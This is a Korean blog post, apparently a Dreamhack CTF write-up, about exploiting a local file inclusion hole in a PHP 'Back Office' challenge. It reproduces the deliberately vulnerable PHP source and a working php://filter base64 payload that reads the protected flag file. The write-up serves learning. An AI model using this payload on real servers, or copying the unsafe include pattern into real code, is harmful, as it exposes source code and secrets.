웹 서비스에 접속하면 상단에는 PHP Back Office라는 제목과 함께 Home, List, View 메뉴바가 나타납니다.
초기 화면에서는 “Back Office!”라는 문구가 출력되며, 기본적인 관리 페이지의 시작 화면임을 알 수 있습니다.

이 화면에서는 flag.php와 hello.json 두 가지 항목이 나열되어 있습니다.

상단 메뉴에서 flag.php 항목을 선택하면 Permission denied, 즉 접근 권한이 없다고 표시됩니다.

상단 메뉴에서 View 항목을 선택하면, JSON 형식의 데이터가 출력됩니다. 이 화면에서는 {"data": "hello"}라는 응답이 표시됩니다.

이제 코드를 살펴보겠습니다.
//index.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>PHP Back Office</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">PHP Back Office</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=list">List</a></li>
<li><a href="/?page=view">View</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<?php
include $_GET['page']?$_GET['page'].'.php':'main.php';
?>
</div>
</body>
</html>
이 한 줄의 코드는 다음 두 가지 상황을 처리합니다.
include $_GET['page']?$_GET['page'].'.php':'main.php';
- URL에 page 파라미터가 있을 때: 사용자가 URL에 ?page=list와 같이 page 파라미터를 입력하면, 그 값(list)을 가져와서 뒤에 .php를 붙여 list.php 파일을 불러옵니다.
- URL에 page 파라미터가 없을 때: ?page 없이 URL에 접속하면, 기본값인 main.php 파일을 불러옵니다.
include 구문에 사용자 입력값($_GET['page'])이 그대로 반영되기 때문에, 공격자가 경로를 조작하면 서버 내부 파일을 임의로 불러올 수 있습니다. 이는 LFI(Local File Inclusion) 취약점으로 이어집니다.
🔎 LFI 취약점이란?
정의: LFI는 웹 애플리케이션이 동적으로 파일을 불러올 때, 사용자 입력값을 검증하지 않아 발생하는 취약점입니다. 공격자는 이를 악용해 원래 의도하지 않은 서버 내부 파일에 접근할 수 있습니다.
원인: PHP의 include, require와 같은 함수에 사용자 입력이 직접 연결될 경우 발생합니다. 경로 검증이 없으면 공격자가 ../ 등을 이용해 시스템 파일을 불러올 수 있습니다.
위험성: 단순한 파일 열람을 넘어 서버 설정, DB 계정 정보 유출로 이어질 수 있습니다. 더 나아가 특정 조건에서는 원격 코드 실행(RCE)로 확장되어 치명적인 공격이 가능합니다.
//list.php
<h2>List</h2>
<?php
$directory = '../uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}
?>
//view.php
<h2>View</h2>
<pre><?php
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);
?>
</pre>
- $file = $_GET['file']?$_GET['file']:''; : file 파라미터의 값을 $file 변수에 할당합니다. 만약 file 파라미터가 없으면 빈 문자열을 할당합니다.
- if(preg_match('/flag|:/i', $file)){ exit('Permission denied'); } : 보안 필터링 로직입니다. 이 정규식은 $file 변수에 flag 또는 : 문자열이 포함되어 있는지 확인합니다.
- flag: flag.php와 같이 플래그가 저장된 파일을 직접적으로 읽는 것을 막기 위함입니다.
- i: 대소문자를 구분하지 않습니다.
//main.php
<h2>Back Office!</h2>
index.php의 동작 방식을 참고했을 때, page 파라미터로 전달된 값 뒤에 .php가 자동으로 붙는 구조임을 확인했습니다.
따라서 flag.php 대신 단순히 flag만 넣어도 동일하게 처리되므로, ?page=/var/www/uploads/flag를 시도하였습니다.
그 결과 사진처럼 나온 것을 확인할 수 있었습니다.

LFI를 우회하기 위해서는 PHP Wrapper을 이용합니다.
🔎 PHP Wrapper란?
PHP Wrapper는 PHP에서 제공하는 스트림(Stream) 기능을 다루기 위한 가상 인터페이스입니다.
쉽게 말해, 파일이나 데이터에 접근할 때 단순히 파일 경로를 쓰는 대신, 특정한 접두사(schema)를 붙여서 다양한 방식으로 파일·데이터를 읽거나 변환할 수 있도록 해주는 기능입니다.
- PHP에서 fopen(), include(), file_get_contents() 같은 파일 처리 함수와 함께 사용됨.
- php://, data://, zip:// 등 여러 종류가 존재하며, 각각의 목적에 맞게 데이터 접근을 제어.
- 단순히 파일 입출력뿐 아니라 인코딩 변환, 메모리 스트림, 네트워크 리소스 접근 등도 가능.
✅ 대표적인 PHP Wrapper 우회 기법
php://filter : 파일을 불러오기 전에 인코딩/디코딩을 적용.
?page=php://filter/convert.base64-encode/resource=config
→ config.php의 내용을 base64로 인코딩된 상태로 읽을 수 있음 → 원본 소스 유출 가능.
PHP Wrapper 이 무엇인지 알았으니 실제로 진행해보겠습니다.
http://host8.dreamhack.games:16370/?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag
- php://filter 래퍼를 사용하면 파일을 불러오기 전에 인코딩/디코딩을 적용할 수 있습니다.
- 따라서 convert.base64-encode 옵션을 사용하면 flag.php의 원본 소스를 실행하지 않고 base64로 인코딩된 상태로 확인할 수 있습니다.

php://filter로 출력된 값은 Base64로 인코딩된 형태이므로, 이를 다시 Base64 디코딩하면 원본 내용이 복원되고 그 안에서 플래그를 확인할 수 있습니다.

'Dreamhack > 웹해킹' 카테고리의 다른 글
| [LEVEL 1] xss-2 (0) | 2025.09.07 |
|---|---|
| [LEVEL 1] mongoboard (0) | 2025.09.06 |
| [LEVEL 1] simple-ssti (0) | 2025.09.04 |
| [LEVEL 1] image-storage (0) | 2025.09.04 |
| [LEVEL 1] xss-1 (0) | 2025.09.03 |